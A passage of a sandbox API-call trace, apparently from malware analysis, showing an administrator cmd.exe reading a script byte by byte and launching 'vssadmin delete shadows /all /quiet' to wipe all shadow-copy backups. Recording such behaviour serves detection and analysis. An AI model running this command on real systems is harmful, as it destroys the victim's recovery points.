dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0072.582] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.582] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.582] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.582] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0072.582] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.582] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.582] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.582] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0072.582] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.582] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.582] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.583] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0072.583] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.583] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.583] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.583] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0072.583] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.583] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.583] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.583] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0072.583] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.583] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.584] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.584] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0072.584] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.584] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.584] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.584] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0072.584] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.584] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.584] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.584] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0072.584] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.584] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.585] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.585] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0072.585] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.585] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.585] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.585] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0072.585] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.585] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.585] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.585] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0072.585] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.586] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.586] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.586] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0072.586] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.586] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.586] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.586] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0072.586] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.586] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.587] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.587] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0072.587] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.587] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.587] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.587] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0072.587] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.587] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.587] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.587] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0072.587] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.587] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.588] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.588] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0072.588] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.588] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.588] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.588] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0072.588] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.588] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.588] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.588] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0072.588] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.588] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.589] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.589] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0072.589] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.589] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.589] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.589] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0072.589] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.589] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.589] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.589] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0072.590] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.590] GetFileType (hFile=0xe8) returned 0x3 [0072.590] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.590] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.590] _get_osfhandle (_FileHandle=1) returned 0xf4 [0072.590] GetFileType (hFile=0xf4) returned 0x3 [0072.590] _get_osfhandle (_FileHandle=1) returned 0xf4 [0072.590] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4aacc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0072.590] WriteFile (in: hFile=0xf4, lpBuffer=0x4aacc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x14fbb8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesWritten=0x14fbb8*=0x24, lpOverlapped=0x0) returned 1 [0072.590] GetProcessHeap () returned 0x240000 [0072.590] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x25f630 [0072.591] GetProcessHeap () returned 0x240000 [0072.591] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25f630 | out: hHeap=0x240000) returned 1 [0072.592] GetProcessHeap () returned 0x240000 [0072.592] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x2597e0 [0072.592] GetProcessHeap () returned 0x240000 [0072.592] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x22) returned 0x254610 [0072.593] GetProcessHeap () returned 0x240000 [0072.593] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x48) returned 0x25aa90 [0072.593] GetConsoleOutputCP () returned 0x4e3 [0072.594] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4aacbfe0 | out: lpCPInfo=0x4aacbfe0) returned 1 [0072.594] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.594] GetConsoleTitleW (in: lpConsoleTitle=0x14fb70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.595] GetProcessHeap () returned 0x240000 [0072.595] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0072.595] GetProcessHeap () returned 0x240000 [0072.595] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x5a) returned 0x259b30 [0072.595] GetProcessHeap () returned 0x240000 [0072.595] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x259090 [0072.595] SetErrorMode (uMode=0x0) returned 0x0 [0072.595] SetErrorMode (uMode=0x1) returned 0x0 [0072.596] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2590a0, lpFilePart=0x14f400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14f400*="Desktop") returned 0x25 [0072.596] SetErrorMode (uMode=0x0) returned 0x1 [0072.596] GetProcessHeap () returned 0x240000 [0072.596] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259090, Size=0x6e) returned 0x259090 [0072.596] GetProcessHeap () returned 0x240000 [0072.596] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259090) returned 0x6e [0072.596] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aabf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.596] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.596] GetProcessHeap () returned 0x240000 [0072.596] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0072.596] GetProcessHeap () returned 0x240000 [0072.596] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0072.597] GetProcessHeap () returned 0x240000 [0072.597] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0072.597] GetProcessHeap () returned 0x240000 [0072.597] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0072.597] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aabf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.597] GetProcessHeap () returned 0x240000 [0072.597] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259db0 [0072.597] GetProcessHeap () returned 0x240000 [0072.597] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259db0, Size=0x7e) returned 0x259db0 [0072.597] GetProcessHeap () returned 0x240000 [0072.597] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259db0) returned 0x7e [0072.597] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.598] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x14f170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f170) returned 0xffffffffffffffff [0072.598] GetLastError () returned 0x2 [0072.598] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x14f170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f170) returned 0xffffffffffffffff [0072.598] GetLastError () returned 0x2 [0072.599] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.599] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x14f170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f170) returned 0x259ba0 [0072.599] FindClose (in: hFindFile=0x259ba0 | out: hFindFile=0x259ba0) returned 1 [0072.599] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x14f170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f170) returned 0xffffffffffffffff [0072.600] GetLastError () returned 0x2 [0072.600] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x14f170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f170) returned 0x259ba0 [0072.600] FindClose (in: hFindFile=0x259ba0 | out: hFindFile=0x259ba0) returned 1 [0072.600] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0072.600] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0072.600] GetConsoleTitleW (in: lpConsoleTitle=0x14f6c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.992] GetProcessHeap () returned 0x240000 [0072.992] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259110 [0072.992] GetConsoleTitleW (in: lpConsoleTitle=0x259120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.992] GetProcessHeap () returned 0x240000 [0072.992] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259110, Size=0xc0) returned 0x259110 [0072.992] GetProcessHeap () returned 0x240000 [0072.992] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259110) returned 0xc0 [0072.992] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0072.993] GetProcessHeap () returned 0x240000 [0072.993] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259110 | out: hHeap=0x240000) returned 1 [0072.993] InitializeProcThreadAttributeList (in: lpAttributeList=0x14f478, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14f438 | out: lpAttributeList=0x14f478, lpSize=0x14f438) returned 1 [0072.993] UpdateProcThreadAttribute (in: lpAttributeList=0x14f478, dwFlags=0x0, Attribute=0x60001, lpValue=0x14f428, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14f478, lpPreviousValue=0x0) returned 1 [0072.994] GetStartupInfoW (in: lpStartupInfo=0x14f590 | out: lpStartupInfo=0x14f590*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0072.994] GetProcessHeap () returned 0x240000 [0072.994] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254640 [0072.994] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0072.994] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0072.994] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0072.994] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0072.994] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.994] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.994] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.994] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0072.994] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0072.994] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0072.994] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", 